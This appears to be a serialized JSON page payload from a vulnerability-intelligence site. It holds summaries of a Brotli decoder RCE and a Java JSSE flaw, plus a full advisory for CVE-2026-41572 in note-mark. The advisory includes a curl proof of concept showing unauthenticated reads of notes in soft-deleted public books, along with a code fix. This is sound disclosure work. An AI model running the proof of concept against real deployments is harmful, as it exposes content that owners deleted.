[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-41572":30,"landing-articles":81},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":46,"cwes":47,"cpes":49,"technologies":51,"references":53,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},3110,"CVE-2026-41572","EUVD-2026-27053","Note Mark: Unauthenticated read of notes and assets in soft-deleted public books\n\n## Summary\n\nAfter a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at `\u002Fapi\u002Fnotes\u002F{id}`, `\u002Fapi\u002Fnotes\u002F{id}\u002Fcontent`, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw `JOIN books ...` clauses used by the note and asset queries.\n\n## Details\n\n`DELETE \u002Fapi\u002Fbooks\u002F{bookID}` sets `books.deleted_at` to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter `books.deleted_at IS NULL`:\n\n```go\n\u002F\u002F backend\u002Fservices\u002Fnotes.go:91-98 (GetNoteByID)\nfunc (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {\n    var note db.Note\n    return note, dbErrorToServiceError(db.DB.\n        Preload(\"Book\").\n        Joins(\"JOIN books ON books.id = notes.book_id\").\n        Where(\"owner_id = ? OR is_public = ?\", currentUserID, true).\n        First(&note, \"notes.id = ?\", noteID).Error)\n}\n```\n\nGORM applies its soft-delete scope to the primary model of a query (here, `notes`) and to implicit `Joins(\"Book\")` association clauses. It does not rewrite raw SQL passed to `Joins`. The soft-deleted book row keeps `is_public = true`, so the `WHERE owner_id = ? OR is_public = ?` clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (`currentUserID = nil`), `owner_id = NULL` fails but `is_public = true` passes, so the note query returns the row.\n\nnote-mark has a restore flow at `PUT \u002Fapi\u002Fnotes\u002F{noteID}\u002Frestore` (`backend\u002Fservices\u002Fnotes.go:232-262`) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that `is_public = true` survives the deletion, so unauthenticated callers keep access the owner chose to revoke.\n\nThe same raw-join pattern repeats at 9 more call sites in `backend\u002Fservices\u002Fnotes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in `backend\u002Fservices\u002Fassets.go` (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.\n\n## Proof of Concept\n\nTested against `note-mark` v0.19.2.\n\nStep 1: Start note-mark.\n\n```bash\ndocker run -d --name note-mark-poc -p 8088:8080 \\\n  ghcr.io\u002Fenchant97\u002Fnote-mark-backend:0.19.2\n```\n\nStep 2: Alice signs up and logs in.\n\n```bash\ncurl -X POST http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fusers \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"username\":\"alice\",\"password\":\"Alicepass123!\",\"name\":\"Alice\"}'\n\ncurl -c alice.cookies -X POST http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fauth\u002Ftoken \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"grant_type\":\"password\",\"username\":\"alice\",\"password\":\"Alicepass123!\"}'\n```\n\nStep 3: Alice creates a public book and adds a note with content. Save the IDs from each response.\n\n```bash\ncurl -b alice.cookies -X POST http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fbooks \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"name\":\"Alice Public Book\",\"slug\":\"public-book\",\"isPublic\":true}'\n# {\"id\":\"\u003CBOOK_ID>\", ...}\n\ncurl -b alice.cookies -X POST http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fbooks\u002F\u003CBOOK_ID>\u002Fnotes \\\n  -H 'Content-Type: application\u002Fjson' \\\n  -d '{\"name\":\"Secret Note\",\"slug\":\"secret-note\"}'\n# {\"id\":\"\u003CNOTE_ID>\", ...}\n\ncurl -b alice.cookies -X PUT http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fnotes\u002F\u003CNOTE_ID>\u002Fcontent \\\n  -H 'Content-Type: text\u002Fplain' \\\n  --data 'This is Alice secret note content.'\n```\n\nStep 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.\n\n```bash\ncurl http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fnotes\u002F\u003CNOTE_ID>\u002Fcontent\n# This is Alice secret note content.\n```\n\nStep 5: Alice soft-deletes the book.\n\n```bash\ncurl -b alice.cookies -X DELETE http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fbooks\u002F\u003CBOOK_ID>\n# HTTP\u002F1.1 204 No Content\n```\n\nStep 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.\n\n```bash\ncurl -w \"\\n%{http_code}\\n\" http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fbooks\u002F\u003CBOOK_ID>\n# 404\n\ncurl -w \"\\n%{http_code}\\n\" http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fnotes\u002F\u003CNOTE_ID>\n# {\"id\":\"\u003CNOTE_ID>\",\"name\":\"Secret Note\", ...}\n# 200\n\ncurl http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fnotes\u002F\u003CNOTE_ID>\u002Fcontent\n# This is Alice secret note content.\n\ncurl http:\u002F\u002Flocalhost:8088\u002Fapi\u002Fslug\u002Falice\u002Fbooks\u002Fpublic-book\u002Fnotes\u002Fsecret-note\n# {\"id\":\"\u003CNOTE_ID>\",\"name\":\"Secret Note\", ...}\n```\n\nA companion script that drives Steps 1-6 ships at `pocs\u002Fpoc_005_bac_soft_deleted_book.sh`.\n\n## Impact\n\nAny owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because `is_public = false` and `owner_id = NULL` both fail the visibility check for non-owners.\n\n## Recommended Fix\n\nAdd a soft-delete filter to the visibility clause on every raw `Joins(\"JOIN books ...\")`. Keep the owner's access intact so the restore flow at `PUT \u002Fapi\u002Fnotes\u002F{id}\u002Frestore` continues to work:\n\n```go\n\u002F\u002F backend\u002Fservices\u002Fnotes.go:91-98 (GetNoteByID)\nreturn note, dbErrorToServiceError(db.DB.\n    Preload(\"Book\").\n    Joins(\"JOIN books ON books.id = notes.book_id\").\n    Where(\"(books.deleted_at IS NULL OR books.owner_id = ?)\", currentUserID).\n    Where(\"owner_id = ? OR is_public = ?\", currentUserID, true).\n    First(&note, \"notes.id = ?\", noteID).Error)\n```\n\nThe same transform applies to each of the 13 call sites in `backend\u002Fservices\u002Fnotes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and `backend\u002Fservices\u002Fassets.go` (lines 29, 73, 106, 143). `backend\u002Fcli\u002Fclean.go:31` uses the same join pattern but is a maintenance CLI and does not need the fix.\n\n---\n*Found by [aisafe.io](https:\u002F\u002Faisafe.io)*","2026-04-25T23:40:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":44,"attackComplexity":45,"availabilityImpact":44,"privilegesRequired":44,"confidentialityImpact":45},"UNCHANGED","3.1",5.3,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","NONE","LOW",true,[48],"CWE-285",[50],"cpe:2.3:a:enchant97:note-mark:*:*:*:*:*:*:*:*",[52],"Enchant97 Note-Mark",[54,55,56,57,58],"https:\u002F\u002Fgithub.com\u002Fenchant97\u002Fnote-mark\u002Freleases\u002Ftag\u002Fv0.19.3","https:\u002F\u002Fgithub.com\u002Fenchant97\u002Fnote-mark\u002Fsecurity\u002Fadvisories\u002FGHSA-3gr9-485j-v4xf","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-41572","https:\u002F\u002Fgithub.com\u002Fenchant97\u002Fnote-mark\u002Fcommit\u002Fd1bf845a2a2df01e2eca6f556287db4ec6f773cf","https:\u002F\u002Fgithub.com\u002Fenchant97\u002Fnote-mark",0.47,0.00194,0.09028,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-05-04T19:39:34.473785Z","yes","partial","poc",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:P\u002FA:Y\u002FT:P\u002FM:H\u002F2026-10-26T02:31:50.734399\u002F","attend","medium","14D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[],{"count":82,"next":83,"previous":6,"results":84},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[85,93,101],{"id":86,"title":87,"summary":88,"published_at":89,"type":90,"link":91,"image_url":92},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":94,"title":95,"summary":96,"published_at":97,"type":98,"link":99,"image_url":100},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":102,"title":103,"summary":104,"published_at":105,"type":106,"link":107,"image_url":108},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]